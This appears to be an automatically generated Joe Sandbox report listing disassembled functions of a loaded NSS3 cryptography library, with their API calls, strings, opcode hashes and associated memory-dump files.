Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 1722bf4cd2767dcdd3a1e98578a2a76e12247ee3c1ef94646dd36dba52ad0538
Instruction ID: 23aa521791d10d7592dae0f225e8e653ad4430eda1b5c687b3cd07a5345cbcaa
Opcode Fuzzy Hash: 1722bf4cd2767dcdd3a1e98578a2a76e12247ee3c1ef94646dd36dba52ad0538
Instruction Fuzzy Hash: 4B513BB2D022159FDB009F68CC849AEB7B9EF55358F19412AEC189B700EB31ED8487E1

Function 6CAACE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CAACE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CAACEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CAACED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CAACEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CAACF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CAACF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CAACF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CAACF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CAACF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CAACFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CAACFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CAACFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CAACFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CAAD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CAAD021

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: f43f3c7f9b5922264acb4d3d4b7c85837073af361780a4d0fca366454af65607
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 3E318771B1291027EF0D14975D21BDE245A4B6530EF481138FD4BF67C0FA85979B42E6

Function 6CB80FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CB81000

Part of subcall function 6CB39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA61A48), ref: 6CB39BB3
Part of subcall function 6CB39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA61A48), ref: 6CB39BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CB81016

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_Unlock.NSS3(?), ref: 6CB81021

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB81046
PR_Unlock.NSS3(?), ref: 6CB8106B
PR_Lock.NSS3 ref: 6CB81079
PR_Unlock.NSS3 ref: 6CB81096
free.MOZGLUE(?), ref: 6CB810A7
free.MOZGLUE(?), ref: 6CB810B4
PR_DestroyCondVar.NSS3(?), ref: 6CB810BF
PR_DestroyCondVar.NSS3(?), ref: 6CB810CA
PR_DestroyCondVar.NSS3(?), ref: 6CB810D5
PR_DestroyCondVar.NSS3(?), ref: 6CB810E0
PR_DestroyLock.NSS3(?), ref: 6CB810EB
free.MOZGLUE(?), ref: 6CB81105

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: e334eb6ac56e5a9b790205464ac504d43ff71d04affb837817d1b9278f03baf2
Instruction ID: e3f35ee672edd1843298132f84678f5b2dbd329a64044fb6c65b6e396ca767a6
Opcode Fuzzy Hash: e334eb6ac56e5a9b790205464ac504d43ff71d04affb837817d1b9278f03baf2
Instruction Fuzzy Hash: C231ADB5906492ABD702AF15FD41A49B775FF01358B184130E81913F61E732F9B8DBC2

Function 6CABEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CABEE0B

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CABEEE1

Part of subcall function 6CAB1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CAB1D7E
Part of subcall function 6CAB1D50: EnterCriticalSection.KERNEL32(?), ref: 6CAB1D8E
Part of subcall function 6CAB1D50: PR_Unlock.NSS3(?), ref: 6CAB1DD3

TlsGetValue.KERNEL32 ref: 6CABEE51
EnterCriticalSection.KERNEL32(?), ref: 6CABEE65
PR_Unlock.NSS3(?), ref: 6CABEEA2
free.MOZGLUE(?), ref: 6CABEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CABEED0
PR_Unlock.NSS3(?), ref: 6CABEF48
free.MOZGLUE(?), ref: 6CABEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CABEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CABEFA4
free.MOZGLUE(?), ref: 6CABEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CABF055
free.MOZGLUE(?), ref: 6CABF060

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 77a77ff757952d3135efe2b50dc58ca20a3bf319286b67e263cddeba4c348581
Instruction ID: 5f6fce8f81f0b2aba7165379d9dac3ab987570baa1ac8faa3eba1b844239c8e7
Opcode Fuzzy Hash: 77a77ff757952d3135efe2b50dc58ca20a3bf319286b67e263cddeba4c348581
Instruction Fuzzy Hash: 77816175A00205ABDB00DFA5DD45ADE7BB9BF08318F184064F919B3A11E731E964CBE1

Function 6CA84CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CA84D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CA84D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CA84DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA84E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CA84E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CA84E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CA84E85
DER_Encode_Util.NSS3(?,?,6CBD05A4,00000000), ref: 6CA84EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CA84F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CA84F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA84F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA84F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA84F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA84FC8

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 80ef891837ad2939bc1db45163951d8bd73514374be68f218a1a2077a129bc5e
Instruction ID: e7d25270226fdd5f43eecb9236ad85677c42f93bdd5ea86c4d7d40a4e2abcc7d
Opcode Fuzzy Hash: 80ef891837ad2939bc1db45163951d8bd73514374be68f218a1a2077a129bc5e
Instruction Fuzzy Hash: EA81B271909301AFE701CF24D950B9BB7E8AB88718F19852DF958DB740E731ED88CB92

Function 6CA80470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA804B7

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA80539

Part of subcall function 6CAD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD1228
Part of subcall function 6CAD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAD1238
Part of subcall function 6CAD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD124B
Part of subcall function 6CAD1200: PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0,00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD125D
Part of subcall function 6CAD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAD126F
Part of subcall function 6CAD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAD1280
Part of subcall function 6CAD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAD128E
Part of subcall function 6CAD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAD129A
Part of subcall function 6CAD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAD12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA8054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA8056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA805CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA805EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6CA805FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6CA80621
PR_EnterMonitor.NSS3 ref: 6CA8063E
PR_ExitMonitor.NSS3 ref: 6CA80668
CERT_DestroyCertificate.NSS3(?), ref: 6CA80697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA806AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA806CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA806DA

Part of subcall function 6CA7E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6CA804DC,?,?), ref: 6CA7E6C9
Part of subcall function 6CA7E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6CA804DC,?,?), ref: 6CA7E6D9
Part of subcall function 6CA7E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6CA804DC,?,?), ref: 6CA7E6F4
Part of subcall function 6CA7E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA804DC,?), ref: 6CA7E703
Part of subcall function 6CA7E6B0: CERT_FindCertIssuer.NSS3(?,?,6CA804DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA7E71E

Part of subcall function 6CA7F660: PR_EnterMonitor.NSS3(6CA8050F,?,00000001,?,?,?), ref: 6CA7F6A8
Part of subcall function 6CA7F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6CA7F6C1
Part of subcall function 6CA7F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6CA7F7C8

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: aab612acee3d27c7eb6505c49cce06b492d5274db4a73877f85211df522df2ce
Instruction ID: bf80e6dc9bc07ba3b60bc2c5323e03d50851fd264c29b5d1bbf566c943d4e17f
Opcode Fuzzy Hash: aab612acee3d27c7eb6505c49cce06b492d5274db4a73877f85211df522df2ce
Instruction Fuzzy Hash: F061F471A063819FEB10DE68DC40B9B77E4AF84358F144538F959D7B91E730E988CBA2

Function 6CAA25C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotList), ref: 6CAA25DD
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6CAA262A

Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB80BAB
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80BBA
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80D7E

PR_LogPrint.NSS3( pSlotList = 0x%p,?), ref: 6CAA260F

Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(?), ref: 6CB80B88
Part of subcall function 6CB809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB80C5D
Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CB80C8D
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80C9C
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(?), ref: 6CB80CD1
Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CB80CEC
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80CFB
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB80D16
Part of subcall function 6CB809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CB80D26
Part of subcall function 6CB809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB80D35
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CB80D65
Part of subcall function 6CB809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CB80D70
Part of subcall function 6CB809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB80D90
Part of subcall function 6CB809D0: free.MOZGLUE(00000000), ref: 6CB80D99

PR_LogPrint.NSS3( tokenPresent = 0x%x,?), ref: 6CAA25F6

Part of subcall function 6CB809D0: PR_Now.NSS3 ref: 6CB80A22
Part of subcall function 6CB809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB80A35
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB80A66
Part of subcall function 6CB809D0: PR_GetCurrentThread.NSS3 ref: 6CB80A70
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB80A9D
Part of subcall function 6CB809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB80AC8
Part of subcall function 6CB809D0: PR_vsmprintf.NSS3(?,?), ref: 6CB80AE8
Part of subcall function 6CB809D0: EnterCriticalSection.KERNEL32(?), ref: 6CB80B19
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB80B48
Part of subcall function 6CB809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB80C76
Part of subcall function 6CB809D0: PR_LogFlush.NSS3 ref: 6CB80C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6CAA2699
PR_LogPrint.NSS3( slotID[%d] = %x,00000000,?), ref: 6CAA26C5

Strings

pSlotList = 0x%p, xrefs: 6CAA260A
pulCount = 0x%p, xrefs: 6CAA2625
tokenPresent = 0x%x, xrefs: 6CAA25F1
slotID[%d] = %x, xrefs: 6CAA26C0
*pulCount = 0x%x, xrefs: 6CAA2694
C_GetSlotList, xrefs: 6CAA25D8

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$DebugOutputStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pSlotList = 0x%p$ pulCount = 0x%p$ slotID[%d] = %x$ tokenPresent = 0x%x$C_GetSlotList
API String ID: 2625801553-2918917633
Opcode ID: 1aff7f1814ee0154ed9677e18b9bb94000d71131a3bf39803bb7fa04e38efb82
Instruction ID: 4f281c7fc52d296c886871811bb42ad3fd9fb52bb36e5cc2c451bbb62d166618
Opcode Fuzzy Hash: 1aff7f1814ee0154ed9677e18b9bb94000d71131a3bf39803bb7fa04e38efb82
Instruction Fuzzy Hash: 1A313D352431C0EFDB04CF95DD9CA8977B5EB4631DF088065E91887A22DB30EC99CB62

Function 6CA6AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA6AF47

Part of subcall function 6CB39090: TlsGetValue.KERNEL32 ref: 6CB390AB
Part of subcall function 6CB39090: TlsGetValue.KERNEL32 ref: 6CB390C9
Part of subcall function 6CB39090: EnterCriticalSection.KERNEL32 ref: 6CB390E5
Part of subcall function 6CB39090: TlsGetValue.KERNEL32 ref: 6CB39116
Part of subcall function 6CB39090: LeaveCriticalSection.KERNEL32 ref: 6CB3913F

FreeLibrary.KERNEL32(?), ref: 6CA6AF6D
free.MOZGLUE(?), ref: 6CA6AFA4
free.MOZGLUE(?), ref: 6CA6AFAA
PR_ExitMonitor.NSS3 ref: 6CA6AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CA6AFF5
PR_ExitMonitor.NSS3 ref: 6CA6B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA6B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CA6B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA6B03C

Strings

Unloaded library %s, xrefs: 6CA6B023
%s decr => %d, xrefs: 6CA6AFF0

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 94d09af34bef9769c70b5328090287e3c7dc60a843b2f65d1e9df61b997fddc3
Instruction ID: 27200426b9792da48607b898c83ec6946b71ab2e624c5bdc7ec7a1692252cdcb
Opcode Fuzzy Hash: 94d09af34bef9769c70b5328090287e3c7dc60a843b2f65d1e9df61b997fddc3
Instruction Fuzzy Hash: 4531D7B5A44161ABE7019F66EC40A59B7B6EF05718B184125EC0A97E01E732FC54C7E3

Function 6CAC8680 Relevance: 21.1, APIs: 14, Instructions: 91stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CA755D0,00000000,00000000), ref: 6CAC868B
PR_NewLock.NSS3(00000000,00000000), ref: 6CAC86A0

Part of subcall function 6CB398D0: calloc.MOZGLUE(00000001,00000084,6CA60936,00000001,?,6CA6102C), ref: 6CB398E5

PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CAC86B2

Part of subcall function 6CA5BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA621BC), ref: 6CA5BB8C

PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CAC86C8

Part of subcall function 6CA5BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA5BBEB
Part of subcall function 6CA5BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA5BBFB
Part of subcall function 6CA5BB80: GetLastError.KERNEL32 ref: 6CA5BC03
Part of subcall function 6CA5BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA5BC19
Part of subcall function 6CA5BB80: free.MOZGLUE(00000000), ref: 6CA5BC22

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CAC86E2
malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CAC86EC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CAC8700
DeleteCriticalSection.KERNEL32(-0000000C,?,?,00000000,00000000), ref: 6CAC871F
free.MOZGLUE(00000000,?,?,00000000,00000000), ref: 6CAC8726
DeleteCriticalSection.KERNEL32(?,?,?,?,00000000,00000000), ref: 6CAC8743
free.MOZGLUE(?,?,?,?,00000000,00000000), ref: 6CAC874A
DeleteCriticalSection.KERNEL32(-0000001C,?,00000000,00000000), ref: 6CAC8759
free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAC8760
free.MOZGLUE(00000000,00000000,00000000), ref: 6CAC876C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$CriticalSection$DeleteErrorcalloc$Cond$CountInitializeLastLockSpinmallocstrcpystrlen
String ID:
API String ID: 1802479574-0
Opcode ID: ca7353fb09c3fcf001808ab26305e74a06f7789ccd158fdbd937a9960ebda652
Instruction ID: eca634647d65d328d1cc75c148341e2fa53952bd1a7d3e07321db950dc1f90c3
Opcode Fuzzy Hash: ca7353fb09c3fcf001808ab26305e74a06f7789ccd158fdbd937a9960ebda652
Instruction Fuzzy Hash: 1621E7F5B002026BEF00AFB99C0D95B3AA8BF552997180534F82AC7B41FB31D525C7A2

Function 6CAB6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAB781D,00000000,6CAABE2C,?,6CAB6B1D,?,?,?,?,00000000,00000000,6CAB781D), ref: 6CAB6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAB781D,?,6CAABE2C,?), ref: 6CAB6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAB781D), ref: 6CAB6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAB6C84
